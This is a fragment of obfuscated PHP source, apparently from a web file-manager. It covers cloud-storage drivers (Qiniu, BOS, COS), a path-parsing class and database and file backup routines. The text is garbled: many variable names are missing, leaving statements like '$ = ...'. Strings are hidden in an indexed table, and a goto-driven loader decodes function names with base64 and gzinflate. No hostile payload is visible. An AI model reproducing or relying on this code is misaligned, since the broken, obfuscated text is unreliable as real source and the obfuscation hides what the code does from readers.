$磰[78]); if ($Ѫ) { return $; } $[$磰[233]] = $[$磰[88]] = 0; $[$磰[234]] = $[$磰[235]] = !0; $ = rtrim($, $磰[8]) . $磰[8]; $Ï = $this->objectMeta($); if (isset($Ï[$磰[1541]])) { $[$磰[88]] = substr($Ï[$磰[1541]] . $磰[12], 0, 10); } return $; } public function listPath($, $Ą = false) { $Б©ݎ =& $_SERVER[秼]; $ = $this->fileList($, $Б©ݎ[8], !0); foreach ($[$Б©ݎ[85]] as $凉 => $) { $[$Б©ݎ[85]][$凉] = $this->folderInfo($, $Ą); } foreach ($[$Б©ݎ[86]] as $凉 => $) { $[$Б©ݎ[86]][$凉] = $this->fileInfo($[$Б©ݎ[97]], $Ą, $); } return $; } public function has($, $ = false, $Ȕ = true) { $· =& $_SERVER[秼]; $ = trim($, $·[8]); $ = empty($) && $ !== $·[230] ? $·[12] : $ . $·[8]; $ = $·[12]; $꿻 = 500; $ = $·[8]; $݇ = $ = 0; while (!0) { check_abort(); list($ɳ, $ݥ) = $this->bucketManager->listFiles($this->bucket, $, $, $꿻, $); if ($ݥ) { break; } $ = array_key_exists($·[1486], $ɳ) ? $ = $ɳ[$·[1542]] : $·[12]; if ($) { if (!empty($ɳ[$·[1543]])) { $݇ += count($ɳ[$·[1543]]); } if (!empty($ɳ[$·[1544]])) { $ += count($ɳ[$·[1544]]); } if ($ === $·[12]) { break; } continue; } if ($Ȕ) { if (!empty($ɳ[$·[1543]])) { return !0; } } else { if (!empty($ɳ[$·[1544]])) { return !0; } } if ($ === $·[12]) { break; } } if ($) { return array($·[241] => $݇, $·[242] => $); } return !1; } public function listAll($缃) { $ =& $_SERVER[秼]; $ʍ = $this->fileList($缃, $[12], !0); $ = array_to_keyvalue($ʍ[$[86]], $[32]); foreach ($ʍ[$[85]] as $Ӯ) { if (is_string($Ӯ)) { $[$Ӯ] = array($[79] => 0); } } return $this->listAllFiles($缃, $); } private function fileList($Ȍ, $ջ = '', $ = 0) { $Ȯ =& $_SERVER[秼]; $Ȍ = trim($Ȍ, $Ȯ[8]); $ԉ = empty($Ȍ) && $Ȍ !== $Ȯ[230] ? $Ȯ[12] : $Ȍ . $Ȯ[8]; $۵ = $Ȯ[12]; $ = 1000; $֕ = $̇ۧ = array(); while (!0) { check_abort(); list($Լ, $Ь) = $this->bucketManager->listFiles($this->bucket, $ԉ, $۵, $, $ջ); if ($Ь) { break; } $۵ = array_key_exists($Ȯ[1486], $Լ) ? $۵ = $Լ[$Ȯ[1542]] : $Ȯ[12]; $˴ = isset($Լ[$Ȯ[1543]]) ? $Լ[$Ȯ[1543]] : array(); $پ = isset($Լ[$Ȯ[1544]]) ? $Լ[$Ȯ[1544]] : array(); foreach ($˴ as $ѓ) { if ($ѓ[$Ȯ[97]] == $ԉ) { continue; } $ = $ѓ[$Ȯ[97]]; $Ͼ = $ѓ[$Ȯ[1540]]; $ѓ[$Ȯ[79]] = $Ͼ; $ = $Ͼ == 0 && substr($, strlen($) - 1, 1) == $Ȯ[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $ѓ); if ($) { $֕[] = $; continue; } $̇ۧ[] = $ ? $ѓ : $; } foreach ($پ as $) { if ($ == $ԉ) { continue; } $֕[] = $; $this->cacheMethodInfoSet($, !0); } if ($۵ === $Ȯ[12]) { break; } } $this->cacheMethodInfoSet($Ȍ, !0); return array($Ȯ[85] => $֕, $Ȯ[86] => $̇ۧ); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($࣒) { return $this->exist($࣒) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ = '') { $ = $this->tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($ꌀ) { $ݹ =& $_SERVER[秼]; $¹ۏ = array(); if (is_array($ꌀ)) { foreach ($ꌀ as $) { $¹ۏ[] = $this->link($); } } else { $¹ۏ[] = $this->link($ꌀ); } $ր = new Qiniu\Cdn\CdnManager($this->auth); list($Ȓ, $) = $ր->refreshUrls($¹ۏ); if ($) { return !1; } return $Ȓ[$ݹ[1273]] == $ݹ[847] ? !0 : !1; } public function fileSubstr($, $, $) { $ =& $_SERVER[秼]; if (!($ɑ = $this->link($))) { return !1; } $͖ = !1; if ($ > 0) { $Ӆ = $ + $ - 1; $͖ = array($[1545] . $ . $[473] . $Ӆ); } $ = url_request($ɑ, $[1505], !1, $͖); return $[$[838]] ? $[$[1296]] : !1; } public function upload($, $, $ܢ = false, $ = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ى = $this->auth->uploadToken($this->bucket, $); $ˌ = get_file_mime(get_path_ext($)); list($, $) = $->putFile($ى, $, $, null, $ˌ); return $ ? !1 : $this->getPathOuter($); } public function uploadFormData($Ϭ, $ = 3600) { return $this->uploadToken($Ϭ, $); } public function uploadMultiData($, $Ʒ = 3600) { return $this->uploadToken($, $Ʒ); } private function uploadToken($Ñ, $ = 3600) { $ =& $_SERVER[秼]; $ = $; $Ԥ貈 = array($[1546] => $[1547]); $ = $Ñ; $̥ = $this->auth->uploadToken($this->bucket, $, $, $Ԥ貈, !0); $Ɯ = empty($this->region) || $this->region == $[1548] ? $[12] : $[473] . $this->region; $ = http_type() . "\72\57\x2f\x75\160\x6c\157\141\x64{$Ɯ}\x2e\x71\151\156\151\165\160\56\143\157\155\57"; return array($[1549] => $̥, $[1550] => $); } public function download($, $ݓ) { $Σ = IO::getPathInner(IO::mkfile($ݓ)); if (!($ = $this->link($))) { return !1; } $ = 0; $ΰܞ = 1024 * 200; $ = fopen($Σ, $_SERVER[秼][1551]); while (!0) { $ = $this->fileSubstr($, $, $ΰܞ); if ($ === !1) { return !1; } fwrite($, $); $ += $ΰܞ; if (strlen($) < $ΰܞ) { break; } } fclose($); return $ݓ; } public function link($, $˛ = '') { if (!$this->isFile($)) { return !1; } $ۢ = $this->getHost() . $_SERVER[秼][8] . $this->pathEncode($) . $˛; return $this->auth->privateDownloadUrl($ۢ, 3600 * 12); } public function fileOut($, $ = false, $ڳЖ = false, $ = '') { $ =& $_SERVER[秼]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $ڳЖ, $); } if (!$ڳЖ) { $ڳЖ = $this->pathThis($); } $ = $ ? $[1552] . rawurlencode($ڳЖ) : $[12]; $ʙ = $this->link($, $); $this->fileOutLink($ʙ); } public function fileOutServer($ԕ, $ = false, $ = false, $߅ = '') { parent::fileOut($ԕ, $, $, $߅); } public function fileOutImage($«, $ޭ = 250) { if ($this->size($«) > 1024 * 1024 * 20) { return $this->fileOutImageServer($«, $ޭ); } $̫ = $this->link($«, $_SERVER[秼][1553] . $ޭ); $this->fileOutLink($̫); } public function fileOutImageServer($, $̈ = 250) { parent::fileOutImage($, $̈); } public function hashMd5($έ) { $ڝ =& $_SERVER[秼]; $ = $this->objectMeta($έ); return isset($[$ڝ[247]]) ? $[$ڝ[247]] : !1; $ǎ = $this->link($έ, $ڝ[1554]); } public function size($тܛ) { $ = $this->objectMeta($тܛ); return $ ? $[$_SERVER[秼][79]] : 0; } public function info($ֲԤ) { if ($this->isFolder($ֲԤ)) { return $this->folderInfo($ֲԤ); } else { if ($this->isFile($ֲԤ)) { return $this->fileInfo($ֲԤ); } } return !1; } public function exist($㯄) { return $this->isFile($㯄) || $this->isFolder($㯄); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($Ϧ) { return $this->cacheMethod($_SERVER[秼][179], $Ϧ); } protected function objectMeta($弫) { return $this->cacheMethod($_SERVER[秼][181], $弫); } protected function _objectMeta($) { $ =& $_SERVER[秼]; list($, $ɕ) = $this->bucketManager->stat($this->bucket, $); if ($) { $[$[79]] = intval($[$[1540]]); } return $; } protected function _isFolder($ҝܕ) { $ݠ =& $_SERVER[秼]; if ($ҝܕ == $ݠ[12] || $ҝܕ == $ݠ[8]) { return !0; } list($, $ۜ) = $this->bucketManager->listFiles($this->bucket, trim($ҝܕ, $ݠ[8]) . $ݠ[8], $ݠ[12], 1, $ݠ[8]); return !empty($[$ݠ[1543]]) || !empty($[$ݠ[1544]]) ? !0 : !1; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ӣ = 0) { parent::__construct(); $this->source = $; $this->sourceSize = $ӣ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($ɝ = false, $ж = 0, $ާǥ = 0) { if (!$ާǥ) { $ާǥ = $this->sourceSize; } $ = $this->sourceSize - $ж; if ($ާǥ >= $) { $ާǥ = $; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $ж, $ާǥ); } if ($this->sourceType == self::TYPE_FILE) { if ($ާǥ <= 0) { return $_SERVER[秼][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $ж); $˾ = @fread($this->source, $ާǥ); fseek_64($this->source, $); return $˾; } } public function hashMd5($Ũ = false) { return md5($this->getContent()); } public static function hash($ӧ, $䜎 = 0) { $؍ = new PathDriverStream($ӧ, $䜎); return $؍->hashSimple($ӧ); } public static function md5($Ŭ, $ٳԱ = 0) { $ۭ = new PathDriverStream($Ŭ, $ٳԱ); return $ۭ->hashMd5($Ŭ); } } goto F; B: $fileSize = strrev(base64_decode($_SERVER[λ][0])); function binCheckNeq($Ψ, $) { return $Ψ != $; } $_SERVER[$_SERVER[λ][1]] = $fileSize($_SERVER[$_SERVER[λ][2]]); goto e݊; AՒȃ: class KodIO { const KOD_SOURCE = "\173\x73\157\165\x72\x63\145\175"; const KOD_USER_RECYCLE = "\173\165\x73\x65\162\122\145\x63\x79\x63\x6c\145\x7d"; const KOD_USER_FAV = "\173\165\x73\x65\x72\x46\141\x76\x7d"; const KOD_USER_FILE_TAG = "\173\x75\163\x65\x72\x46\151\x6c\145\x54\x61\147\x7d"; const KOD_USER_FILE_TYPE = "\x7b\165\163\x65\162\x46\x69\x6c\145\124\171\160\x65\x7d"; const KOD_GROUP_ROOT_SELF = "\173\147\162\157\165\160\x52\157\x6f\x74\123\x65\x6c\146\175"; const KOD_USER_SHARE = "\x7b\x75\x73\x65\x72\123\150\x61\x72\145\175"; const KOD_USER_SHARE_LINK = "\173\x75\163\x65\162\x53\150\x61\162\x65\x4c\x69\156\x6b\175"; const KOD_USER_SHARE_TO_ME = "\x7b\163\x68\x61\162\145\124\157\x4d\x65\175"; const KOD_SHARE_ITEM = "\x7b\163\x68\x61\162\x65\111\x74\145\x6d\175"; const KOD_SHARE_LINK = "\173\163\150\x61\x72\x65\111\164\145\155\114\151\x6e\153\x7d"; const KOD_SEARCH = "\x7b\163\x65\x61\x72\143\150\x7d"; const KOD_BLOCK = "\173\142\154\x6f\143\153\175"; const KOD_IO = "\x7b\x69\157\x7d"; const KOD_USER_RECENT = "\x7b\165\163\145\x72\x52\145\x6e\143\x65\x6e\164\x7d"; const KOD_USER_DRIVER = "\173\x64\x72\x69\x76\145\162\175"; public static function typeList() { $ =& $_SERVER[秼]; return array($[1345] => self::KOD_SOURCE, $[1346] => self::KOD_USER_RECYCLE, $[1347] => self::KOD_USER_FAV, $[1348] => self::KOD_USER_FILE_TAG, $[1349] => self::KOD_USER_FILE_TYPE, $[1350] => self::KOD_GROUP_ROOT_SELF, $[1351] => self::KOD_USER_SHARE, $[1352] => self::KOD_USER_SHARE_LINK, $[1353] => self::KOD_USER_SHARE_TO_ME, $[1354] => self::KOD_SHARE_ITEM, $[1355] => self::KOD_SHARE_LINK, $[1356] => self::KOD_SEARCH, $[1357] => self::KOD_BLOCK, $[1358] => self::KOD_IO, $[1359] => self::KOD_USER_RECENT, $[1360] => self::KOD_USER_DRIVER); } public static function parse($) { $Ћ =& $_SERVER[秼]; $ = self::clear($); $ = array_values(self::typeList()); preg_match($Ћ[1361], $, $ӵ); $ = array($Ћ[507] => !1, $Ћ[1362] => !1, $Ћ[504] => !1, $Ћ[87] => $, $Ћ[1260] => !1, $Ћ[1259] => $Ћ[12]); if (is_array($ӵ) && count($ӵ) == 5) { $В = $Ћ[1363] . $ӵ[2] . $Ћ[404]; if (in_array($В, $)) { $[$Ћ[1260]] = $ӵ[1]; $[$Ћ[33]] = $В; $[$Ћ[1364]] = substr($В, 1, -1); $[$Ћ[486]] = $ӵ[3]; } $[$Ћ[1259]] = $ӵ[4]; } $ = array($Ћ[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$Ћ[1327]] = in_array($[$Ћ[33]], $); return $; } public static function isTruePath($) { $ߤѥ =& $_SERVER[秼]; if (substr($, 0, 1) != $ߤѥ[1363]) { return !0; } if (strpos($, $ߤѥ[494]) === 0) { return !0; } if (strpos($, $ߤѥ[1331]) === 0) { return !0; } if (strpos($, $ߤѥ[1365]) === 0) { return !0; } if (strpos($, $ߤѥ[1366]) === 0) { return !0; } if (strpos($, $ߤѥ[1367]) === 0) { return !0; } return !1; } public static function clear($ҍ) { $ҭ =& $_SERVER[秼]; $ҍ = str_replace(array($ҭ[1165], $ҭ[287]), $ҭ[53], $ҍ); $ҍ = str_replace($ҭ[100], $ҭ[8], $ҍ); $ = $ҭ[1368]; if (substr($ҍ, 0, 3) == $ҭ[1369]) { $ҍ = substr($ҍ, 3); } while (strstr($ҍ, $)) { $ҍ = str_replace($, $ҭ[8], $ҍ); } $ҍ = preg_replace($ҭ[1370], $ҭ[8], $ҍ); if ($ҍ == $ҭ[8]) { return $ҭ[8]; } $ҍ = rtrim($ҍ, $ҭ[8]); return $ҍ; } public static function pathTrue($) { $ =& $_SERVER[秼]; if (!$) { return $[12]; } $ = str_replace($[256], $[8], str_replace($[1371], $[8], $)); $ = str_replace($[256], $[8], str_replace($[1371], $[8], $)); if (!strstr($, $[1369])) { return $; } $× = explode($[8], $); foreach ($× as $ => $욕) { if ($욕 !== $[1372]) { continue; } for ($ەؓ = $; $ەؓ >= 0; $ەؓ--) { if ($×[$ەؓ] === $[10] || $×[$ەؓ] === $[1372] || $×[$ەؓ] === -1) { continue; } if ($×[$ەؓ] === $[12]) { $×[$] = -1; break; } $×[$] = -1; $×[$ەؓ] = -1; break; } } $˺ = array(); foreach ($× as $욕) { if ($욕 !== -1) { $˺[] = $욕; } } $翐 = implode($[8], $˺); if (strpos($翐, $[1373]) === 0) { $翐 = $[1369] . substr($翐, strlen($[1373])); } return $翐; } public static function pathUrlClear($) { $ =& $_SERVER[秼]; if (!$) { return $; } $ = rawurldecode($); $ = str_replace($[1371], $[8], $); if (strpos($, $[76]) > 0) { $ = substr($, 0, strpos($, $[76])); } if (strpos($, $[1374]) > 0) { $ = substr($, 0, strpos($, $[1374])); } return $; } public static function sourceID($ח) { $Ҟ =& $_SERVER[秼]; $ӯݬ = self::parse($ח); if ($ӯݬ[$Ҟ[33]] !== self::KOD_SOURCE) { show_json(LNG($Ҟ[1375]), !1); } return $ӯݬ[$Ҟ[486]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($˶۪, $Ӝ) { return self::makePath(self::KOD_SHARE_ITEM, $˶۪, $Ӝ); } public static function makeFileTypePath($£) { return self::makePath(self::KOD_USER_FILE_TYPE, $£); } public static function makeFileTagPath($ҽį) { return self::makePath(self::KOD_USER_FILE_TAG, $ҽį); } public static function makePath($, $ = '', $ᚡ = '') { $ =& $_SERVER[秼]; $ = substr($, 1, -1); $ԩ = $[1376] . $ . $[1377] . $ . $[1378]; $ԩ = $ᚡ ? $ԩ . $ᚡ . $[8] : $ԩ; return $ԩ; } public static function hashPath($, $ګ = true) { $ϵ =& $_SERVER[秼]; $ = is_array($) ? $ : IO::info($); $ē = _get($, $ϵ[1379], $ϵ[12]); if (!$ē && isset($[$ϵ[237]])) { $ē = trim($[$ϵ[237]], $ϵ[121]); } if (!$ē && isset($[$ϵ[193]]) && $[$ϵ[193]]) { $ = IO::info(KodIO::make($[$ϵ[193]])); $ē = _get($, $ϵ[1379], $ϵ[12]); } $ = md5($[$ϵ[87]] . $[$ϵ[79]] . $[$ϵ[88]]); if (!$ē && file_exists($[$ϵ[87]])) { $ē = Cache::get($ . $ϵ[1380]); $ē = !1; if (!$ē) { $ē = IO::hashSimple($[$ϵ[87]]); Cache::set($ . $ϵ[1380], $ē, 3600 * 24 * 30); } } if ($ګ && !$ē) { } return $ē ? $ē : $; } public static function hashPathSafe($蟛, $ʌ = true) { $ӑ =& $_SERVER[秼]; $ = self::hashPath($蟛, $ʌ); return md5($ . $ӑ[1381] . Model($ӑ[858])->get($ӑ[859])); } public static function initSystemPath() { $ɤ =& $_SERVER[秼]; if (defined($ɤ[1382])) { return; } define($ɤ[1382], self::systemPath($ɤ[191])); define($ɤ[1383], self::systemPath($ɤ[1384])); define($ɤ[1385], self::systemPath($ɤ[1386])); define($ɤ[1387], self::systemPath($ɤ[1388])); IOHistory::bindEvent(); } public static function systemPath($) { $Ӝ =& $_SERVER[秼]; $ = $Ӝ[1389] . ucfirst($); $ʂ = Model($Ӝ[858])->get($); if ($ʂ) { return $ʂ; } if ($ == $Ӝ[191]) { $ʂ = self::make(Model($Ӝ[913])->systemRootPathAdd($Ӝ[619])); } else { $ʂ = self::systemPath($Ӝ[191]); $ޅ = self::sourceID($ʂ); $ʂ = self::make(Model($Ӝ[913])->mkdir($ޅ, $)); } Model($Ӝ[858])->set($, $ʂ); return $ʂ; } public static function systemFolder($˜) { $ꭶ = IO_PATH_SYSTEM_SOURCE . $˜; $ = Cache::get($ꭶ); if (!$) { $ = IO::infoFullSimple($ꭶ); if (!$) { $ = IO::mkdir($ꭶ, REPEAT_SKIP); } else { $ = $[$_SERVER[秼][87]]; } Cache::set($ꭶ, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[秼][855])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[秼]; $ = self::defaultDriver(); return $[1390] . $[$[486]] . $[1378]; } public static function defaultDriverInit() { static $酽 = false; if ($酽) { return $酽; } $酽 = IO::init(self::defaultIO()); return $酽; } public static function fileTypeList() { $ =& $_SERVER[秼]; $؟ = $GLOBALS[$[6]][$[1391]]; foreach ($؟ as $¡ => $ҧ) { $ = $[1392] . $¡; $ = LNG($); if ($ != $) { $؟[$¡][$[32]] = $; } } return $؟; } public static function diskList($ = true) { $ = $_SERVER[秼][1393]; if ($) { $ȗ = Cache::get($); if (is_array($ȗ)) { return $ȗ; } } $ȗ = self::diskListGet(); Cache::set($, $ȗ, 60); return $ȗ; } public static function diskListGet() { $ =& $_SERVER[秼]; $ = array(); if ($GLOBALS[$[6]][$[1394]] == $[1395]) { $ = $[1396]; for ($ = 0; $ < strlen($); $++) { $ɍ = $[$] . $[1397]; if (file_exists($ɍ)) { $[] = $ɍ; } } return $; } if (!function_exists($[101])) { $[] = $[924]; return $; } $ = explode($[287], shell_exec($[1398])); array_shift($); array_pop($); $ż = array($[1399], $[1400], $[1401], $[1402], $[1403], $[1404], $[1405], $[1406]); foreach ($ as $) { $ = preg_split($[1407], $); $ɍ = $[count($) - 1]; if (!strstr($[0], $[1408]) || !$ɍ) { continue; } $ؤ = rtrim($ɍ, $[8]) . $[8]; if (in_array($ؤ, $ż)) { continue; } $[] = $ؤ; } return $; } public static function isSameDisk($ݯ, $) { $ =& $_SERVER[秼]; if ($GLOBALS[$[6]][$[1394]] == $[1395]) { return strtolower(substr($ݯ, 0, 1)) == strtolower(substr($, 0, 1)); } $ = stat($ݯ); $⣾ = stat($); if ($ === !1 || $⣾ === !1) { return !1; } return $[$[1409]] === $⣾[$[1409]]; $ʱ = self::diskList(); $ = !1; $ץ = !1; sort($ʱ); $ʱ = array_reverse($ʱ); $ݯ = rtrim($ݯ, $[8]) . $[8]; $ = rtrim($, $[8]) . $[8]; foreach ($ʱ as $Ѭ) { $ = strlen($Ѭ); if (!$ && substr($ݯ, 0, $) == $Ѭ) { $ = $Ѭ; } if (!$ץ && substr($, 0, $) == $Ѭ) { $ץ = $Ѭ; } if ($ && $ץ) { break; } } return $ === $ץ; } public static function transferType($, $) { $ =& $_SERVER[秼]; $婃 = self::driverType($); $ = self::driverType($); if ($婃[$[33]] == $[$[33]] && $婃[$[1410]] == $[$[1410]]) { return $[1411]; } if ($婃[$[33]] == $[958] && $[$[33]] == $[109]) { return $[1288]; } if ($婃[$[33]] == $[109] && $[$[33]] == $[958]) { return $[110]; } return $[1412]; } public static function driverType($) { $ =& $_SERVER[秼]; $֔ԗ = str_replace($[1413], $[12], strtolower($->getType())); if ($֔ԗ == $[845] || $֔ԗ == $[1414] || $֔ԗ == $[1415]) { $ = self::defaultDriverInit(); } else { if ($֔ԗ == $[1298] || $֔ԗ == $[1416]) { $ = IO::init($->pathParse[$[1241]]); } } $ = $->path; $֔ԗ = str_replace($[1413], $[12], strtolower($->getType())); if ($֔ԗ == $[109]) { return array($[33] => $[109], $[1410] => $[12], $[87] => $, $[98] => $); } return array($[33] => $[958], $[1410] => $->pathDriver, $[87] => $, $[98] => $); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } public static function pathDriverLocal($駐) { $ =& $_SERVER[秼]; $ū = $駐 ? self::driverType(IO::init($駐)) : !1; return strtolower($ū[$[33]]) == $[109] ? !0 : !1; } public static function allowCover($͓, $ߦ = true) { $Ϩ =& $_SERVER[秼]; if (is_string($͓)) { $͓ = IO::info($͓); } if (!$͓ || $͓[$Ϩ[33]] == $Ϩ[78] || $͓[$Ϩ[79]] <= 100) { return !1; } if (isset($͓[$Ϩ[1417]]) || !$͓[$Ϩ[87]]) { return !1; } if (isset($͓[$Ϩ[234]]) && !$͓[$Ϩ[234]]) { return !1; } static $ = false; if (!$ || !$ߦ) { $ = self::driverType(IO::init($͓[$Ϩ[87]])); $롛 = $[$Ϩ[98]]; $ = $Ϩ[196]; if ($[$Ϩ[33]] == $Ϩ[109]) { $ = $Ϩ[1418]; } if ($[$Ϩ[98]] && is_array($[$Ϩ[98]]->config)) { $ = $[$Ϩ[98]]->config; if (isset($[$Ϩ[1419]]) && $[$Ϩ[1419]]) { $ = $Ϩ[1418]; } } $ß = KodIO::defaultDriver(); if (strtolower($ß[$Ϩ[98]]) == $Ϩ[109] && is_array($ß[$Ϩ[6]])) { $ = $ß[$Ϩ[6]][$Ϩ[1271]]; if (substr($, 0, 2) == $Ϩ[1420]) { $ = str_replace($Ϩ[1420], BASIC_PATH, $); } $ = str_replace($Ϩ[256], $Ϩ[8], $); if (substr($͓[$Ϩ[87]], 0, strlen($)) == $) { $ = $Ϩ[196]; } } } return $ == $Ϩ[1418] ? !0 : !1; } } class PathDriverBOS extends PathDriverS3 { public function __construct($ެ) { parent::__construct($ެ); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function fileOutLink($) { $Ą =& $_SERVER[秼]; if (substr($, 0, 7) == $Ą[218]) { $ = $Ą[219] . substr($, 7); } header($Ą[175] . $); die; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($Ȱ) { parent::__construct($Ȱ); $this->setSignVersion($_SERVER[秼][249]); } public function uploadFormData($, $Ƀ = 3600) { $Ӓ =& $_SERVER[秼]; $呢 = $Ӓ[231]; $ = $Ӓ[1421]; $̋ = $Ӓ[263]; $ɏ = gmdate($Ӓ[1422], time() + $Ƀ); $ = (string) time() . $Ӓ[74] . (string) (time() + $Ƀ); $嘇ŝ = array($Ӓ[264] => $ɏ, $Ӓ[267] => array(array($Ӓ[308] => $呢), array($Ӓ[268] => $this->bucket), array($Ӓ[269], $Ӓ[270], $Ӓ[12]), array($Ӓ[272] => $̋), array($Ӓ[1423] => $), array($Ӓ[1424] => $this->accessKey), array($Ӓ[1425] => $))); $嘇ŝ = json_encode($嘇ŝ); $ݎ = hash_hmac($Ӓ[1421], $, $this->secret); $ڳ = sha1($嘇ŝ); $ = hash_hmac($Ӓ[1421], $ڳ, $ݎ); $ = array($Ӓ[308] => $呢, $Ӓ[272] => $̋, $Ӓ[279] => base64_encode($嘇ŝ), $Ӓ[1423] => $, $Ӓ[1424] => $this->accessKey, $Ӓ[1426] => $, $Ӓ[1427] => $, $Ӓ[208] => $this->getHost()); return $; } public function fileOutImage($Ԑ戮, $ۛ = 250) { $ᬀ =& $_SERVER[秼]; if ($this->size($Ԑ戮) > 1024 * 1024 * 32) { return $this->fileOutImageServer($Ԑ戮, $ۛ); } $ = $this->link($Ԑ戮); $ .= $ᬀ[1428] . $ۛ . $ᬀ[1429]; $this->fileOutLink($); } public function fileOutLink($ז팚) { $֑ =& $_SERVER[秼]; if (substr($ז팚, 0, 7) == $֑[218]) { $ז팚 = $֑[219] . substr($ז팚, 7); } header($֑[175] . $ז팚); die; } } goto FѪ; Fʺ: if (!$yvenukjfdm) { die; } $_SERVER[] = explode($_SERVER[秼][694], gzinflate(substr($_SERVER[秼][695], 10, -8))); $xqknujgyzm = $_SERVER[秼][696]; goto e疙; cި: class BackupDbFile { public function __construct() { } public function index() { $⛋ =& $_SERVER[秼]; $ƫ = Backup::get(); $ = $ƫ[$⛋[32]]; $ = $this->tmpFilesPath() . "\142\x61\143\x6b\x75\x70\x5f{$}\x2f"; $ = $this->backupPath($ƫ); if (!($ = IO::mkdir($))) { return !1; } $ = IO::listPath($); $ٔ = isset($[$⛋[86]]) ? $[$⛋[86]] : array(); $ = array_sum(array_column($ٔ, $⛋[79])); if (!$) { return !1; } $ = array($⛋[887] => $, $⛋[888] => time()); Backup::set($); $Ý = new TaskFileTransfer($⛋[889], $⛋[872], count($ٔ), LNG($⛋[873]) . $⛋[473] . LNG($⛋[875]) . $⛋[890]); $Ý->task[$⛋[851]] = $; foreach ($[$⛋[86]] as $) { $ = IO::move($[$⛋[87]], $); if (!$) { $Ý->end(); $ؕ = IO::getLastError($⛋[891] . $[$⛋[87]] . $⛋[892] . $ . $⛋[178]); write_log($ؕ, $⛋[872]); return !1; } } $՚ = new DbManage(); $Ȫբ = $՚->getSqlFile(); if (!$Ȫբ[$⛋[893]] || !$Ȫբ[$⛋[13]]) { return !1; } IO::move($Ȫբ[$⛋[893]], $); IO::move($Ȫբ[$⛋[13]], $); $Ý->end(); $ = array($⛋[894] => $, $⛋[895] => time()); Backup::set($); return !0; } private function backupPath($) { $ =& $_SERVER[秼]; $Т = $[$[32]]; $ = Model($[858])->get($[859]); $ºѬ = substr(md5($[860] . $ . $Т), 0, 8); return "\x7b\151\x6f\72{$[$[840]]}\175\57\144\141\164\141\x62\x61\163\x65\57\x62\x61\143\153\165\x70\57" . $Т . $[11] . $ºѬ; } private function tmpFilesPath() { $츽 =& $_SERVER[秼]; $ = TEMP_FILES; if ($GLOBALS[$츽[6]][$츽[92]][$츽[885]]) { $ = $GLOBALS[$츽[6]][$츽[92]][$츽[885]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $츽[886])) { $ = TEMP_FILES; } } return $; } } class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $왩 = $[$_SERVER[秼][370]][$_SERVER[秼][232]][$_SERVER[秼][552]]; $ = array($_SERVER[秼][553] => array($_SERVER[秼][896], $왩), $_SERVER[秼][897] => array($_SERVER[秼][408], $[$_SERVER[秼][840]])); $ۘ = (int) Model($_SERVER[秼][878])->where($)->count($_SERVER[秼][552]); $˲ = (int) Model($_SERVER[秼][878])->where($)->sum($_SERVER[秼][79]); $׳ = new TaskFileTransfer($_SERVER[秼][898], $_SERVER[秼][872], $ۘ, LNG($_SERVER[秼][873]) . $_SERVER[秼][874] . LNG($_SERVER[秼][899])); $׳->task[$_SERVER[秼][851]] = $˲; $ȼ = array($_SERVER[秼][900] => $ۘ, $_SERVER[秼][901] => $˲, $_SERVER[秼][902] => time()); Backup::set($ȼ); $ = !0; $ = $this->storeIds(); $ = 1; $ = 1000; $ך = $ = 0; $֝ = array(); $ˠԱ = $ = 0; do { $˰ = $_SERVER[秼][903]; $ť = Model($_SERVER[秼][878])->where($)->field($˰)->order($_SERVER[秼][904])->selectPage($, $); $ř = !empty($ť[$_SERVER[秼][456]]) ? $ť[$_SERVER[秼][456]] : array(); foreach ($ř as $؛) { if (!$this->_fileExist($؛, $֝, $)) { write_log("\x66\x69\154\145\40\156\x6f\x74\x20\145\170\x69\x73\164\x2e\146\151\x6c\145\x49\x44\72{$؛[$_SERVER[秼][552]]}\54\x20\x70\141\x74\150\72{$؛[$_SERVER[秼][87]]}", $_SERVER[秼][905]); continue; } $ܓ = $؛[$_SERVER[秼][87]]; $ = "\173\x69\x6f\72{$[$_SERVER[秼][840]]}\175" . substr($ܓ, strlen("\173\x69\x6f\72{$؛[$_SERVER[秼][906]]}\x7d")); if (IO::exist($)) { $׳->updateFileEnd($؛[$_SERVER[秼][32]], $؛[$_SERVER[秼][79]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($ܓ, $, $_SERVER[秼][907])) { write_log($_SERVER[秼][908] . $ܓ . $_SERVER[秼][892] . $ . $_SERVER[秼][178], $_SERVER[秼][872]); $ = !1; break; } } $왩 = $؛[$_SERVER[秼][552]]; $ += 1; $ך += $؛[$_SERVER[秼][79]]; $ += 1; $ˠԱ += $؛[$_SERVER[秼][79]]; if ($ך >= 1024 * 1024 * 100) { $ȼ = array($_SERVER[秼][839] => $왩, $_SERVER[秼][909] => $, $_SERVER[秼][910] => $ˠԱ); Backup::set($ȼ); $ך = $ = 0; } } $˂ = count($ř); $++; } while ($˂ == $); $׳->end(); $ȼ = array($_SERVER[秼][911] => 1, $_SERVER[秼][849] => time(), $_SERVER[秼][863] => 1, 